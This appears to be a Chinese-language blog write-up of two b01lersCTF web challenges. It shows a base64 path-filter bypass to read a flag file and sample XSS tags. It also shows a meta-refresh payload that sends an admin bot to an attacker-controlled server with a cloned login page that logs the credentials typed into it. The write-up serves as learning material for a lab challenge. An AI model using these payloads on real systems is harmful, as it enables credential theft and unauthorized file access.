首页 > 其他分享 >b01lersCTF

b01lersCTF

时间:2023-03-18 22:14:08浏览次数:35  
标签:const err res await b01lersCTF server id

b01lersCTF

Web

warmUp

进去后只有一个"HelloWorld",F12查找信息发现 debug.html 文件,注意到该网址的路径都是base64编码过的

debug.html -> ZGVidWcuaHRtbA==

访问 /ZGVidWcuaHRtbA== 会得到提示:

testing rendering for flask app.py

这是一个flask模板的测试,源码文件是"app.py",该文件也是可以访问的,b64编码:YXBwLnB5 . 访问后得到源码:

from base64 import b64decode 
import flask 
app = flask.Flask(__name__) 
@app.route('/') 
def index2(name): 
    name = b64decode(name) 
    if (validate(name)): 
        return "This file is blocked!" 
    try: 
        file = open(name, 'r').read() 
    except: 
        return "File Not Found" 
    return file 
@app.route('/') 
def index(): 
    return flask.redirect('/aW5kZXguaHRtbA==') 
def validate(data): 
    if data == b'flag.txt': 
        return True 
    return False
if __name__ == '__main__': 
    app.run()

传入 / 后的路径都会被b64解码,所得到的字节流内容被拿来与 b'flag.txt' 进行比较,若相同则禁止访问。否则就读取该文件,若存在则将文件内容显示出来。

显然题目源码的文件夹下有一个名为"flag.txt"的文件,我们需要绕过这个过滤读取到它。Linux严格区分大小写,因此大小写混淆不行,可以使用 ./flag.txt => Li9mbGFnLnR4dA== 来读取到flag,文件路径匹配有很多写法,包括但不限于相对路径、省略的相对路径、绝对路径。

fishy-motd

钓鱼的motd

创建一条信息并共享出去,一眼XSS。可以在输入框中输入各种html标签,但由于源码中"public/index.html"中有CSP保护:

<meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'self'" />

Content-Security-Policy的MDN文档 . 它规定了CSS只使用服务器来源的样式,其他的内联属性包括JavaScript等内容全部禁用(none即没有任何来源被允许),因此常规的标签全部失效,包括但不限于:

<img src="" one rror="javascript:alert(1)" />
<script>alert(1)</script>
<button onclick="alert(1)">click me</button>

对于 <img/> 标签,可以在 onerror 中写 this.src="newSrc for pics" 为其赋新的图片地址,该标签就会重新去访问该地址,利用这个可以做到页面跳转。

为了绕过CSP的限制,参考:CSP浅析与绕过 . 使用

<meta http-equiv="refresh" content="1; url=http://0.0.0.0:7890/" >

"refresh"定义该标签会刷新页面,"content"表示延迟1秒后访问网址"url",整个页面将被重定向至url。因此可以实现页面的跳转。

查看题目源码:

import fastify from 'fastify';
import fastifyFormbody from '@fastify/formbody';
import fastifyStatic from '@fastify/static';
import fs from 'fs';
import path from 'path';
import { fileURLToPath } from 'url';
import puppeteer from 'puppeteer';
import { nanoid } from 'nanoid';

let messages = {}

const server = fastify();

server.register(fastifyFormbody);
server.register(fastifyStatic, {
    root: path.join(path.dirname(fileURLToPath(import.meta.url)), 'public'),
    prefix: '/public/'
});

const flag = process.env.FLAG || 'flag{fake_flag}';
const port = 5000;
const user = process.env.ADMIN_USER || 'admin';
const pass = process.env.ADMIN_PASS || 'pass';

server.get('/', (req, res) => {
    res.sendFile('index.html')
});

server.get('/style.css', (req, res) => {
    res.sendFile('style.css')
});

server.get('/login', (req, res) => {
    const id = req.query.motd;
    if (!id) {
        fs.readFile('./login.html', 'utf8', (err, data) => {
            if (err) {
                console.log(err);
                res.status(500).send('Internal server error, please open a ticket');
            }
            else {
                res.type('text/html').send(data.toString().replace('{{motd}}', 'Welcome to the server!'));
            }
        });
    }
    else {
        if (id in messages) {
            fs.readFile('./login.html', 'utf8', (err, data) => {
                if (err) {
                    console.log(err);
                    res.status(500).send('Internal server error, please open a ticket');
                }
                else {
                    res.type('text/html').send(data.toString().replace('{{motd}}', messages[id]));
                }
            });
        } else {
            res.send('MOTD not found');
        }
    }
});

server.post('/login', (req, res) => {
    const username = req.body.username;
    const password = req.body.password;
    console.log(username)
    console.log(password)

    if (username === user && password === pass) {
        res.send(flag);
    }
    else {
        res.send('Incorrect username or password');
    }
});

server.get('/start', async (req, res) => {
    const id = req.query.motd;
    if (id && id in messages) {
        try {
            const result = await adminBot(id);
            if (result.error) {
                res.send(result.error)
            } else {
                res.send('Hope everyone liked your message!')
            }
        } catch (err) {
            console.log(err);
            res.send('Something went wrong, please open a ticket');
        }
    } else {
        res.send('MOTD not found');
    }
});

server.post('/motd', (req, res) => {
    const motd = req.body.motd;
    const id = nanoid();
    messages[id] = motd;
    fs.readFile('./motd.html', 'utf8', (err, data) => {
        if (err) {
            console.log(err);
            res.status(500).send('Internal server error, please open a ticket');
        }
        else {
            res.type('text/html').send(data.toString().replaceAll('{{id}}', id));
        }
    });
})

server.get('/motd', (req, res) => {
    res.send('Please use the form to submit a message of the day.');
});

const adminBot = async (id) => {
    const browser = await puppeteer.launch({
        headless: true, // Uncomment below if the sandbox is causing issues
        // args: ['--no-sandbox', '--disable-setuid-sandbox', '--single-process']
    })
    const page = await browser.newPage();
    await page.setViewport({ width: 800, height: 600 });
    const url = `http://localhost:${port}/login?motd=${id}`;
    await page.goto(url);
    await page.mouse.click(10, 10);
    await new Promise(r => setTimeout(r, 1000));
    try {
        if (url !== await page.evaluate(() => window.location.href)) {
            return { error: "Hey! Something's fishy here!" };
        }
    } catch (err) {
        return { error: "Hey! Something's fishy here!" };
    }
    await new Promise(r => setTimeout(r, 5000));
    await page.mouse.click(420, 280);
    await page.keyboard.type(user);
    await page.mouse.click(420, 320);
    await page.keyboard.type(pass);
    await page.mouse.click(420, 360);
    await new Promise(r => setTimeout(r, 1000));
    await browser.close();
    messages[id] = undefined;
    return { error: null };
}

server.listen({ port, host: '0.0.0.0' }, (err, address) => {
    if (err) {
        console.error(err);
        process.exit(1);
    }
    console.log(`Server listening at ${address}`);
});

adminBot 函数模拟了管理员的行为,当我们在前端选择了部署特定的留言时,该留言内容会被传给这个模拟管理员,延迟1秒后检测页面是否需要报错,若不需要则再等待5秒,随后它通过点击特定位置并依次输入管理员的用户名、密码并确定登陆。

因此我们有如下思路:通过传入标签

<meta http-equiv="refresh" content="1; url=http://myServerIp:myPort/" >

让模拟管理员在输入账密之前跳转至自己服务器的伪造页面,并获取其输入的账密。随后我们输入该账密即可登录,获取flag。

自己伪造页面需要考虑到模拟管理员的点击坐标问题,非常麻烦,因此直接借用题目源码的"login.html"页面(就是原登录页面),稍微加点手脚,在 login 函数中加上

console.log(username)
console.log(password)

将输入并提交的账密登记到服务器后台上。被登记到控制台的内容会被回显到服务器监控日志上(例如 Docker run 不调用 -d 参数使容器不被放到后台挂载,就能直接监控到容器的日志),此处省略服务器配置问题。

标签:const,err,res,await,b01lersCTF,server,id
From: https://www.cnblogs.com/Forest-set-you/p/17231949.html

相关文章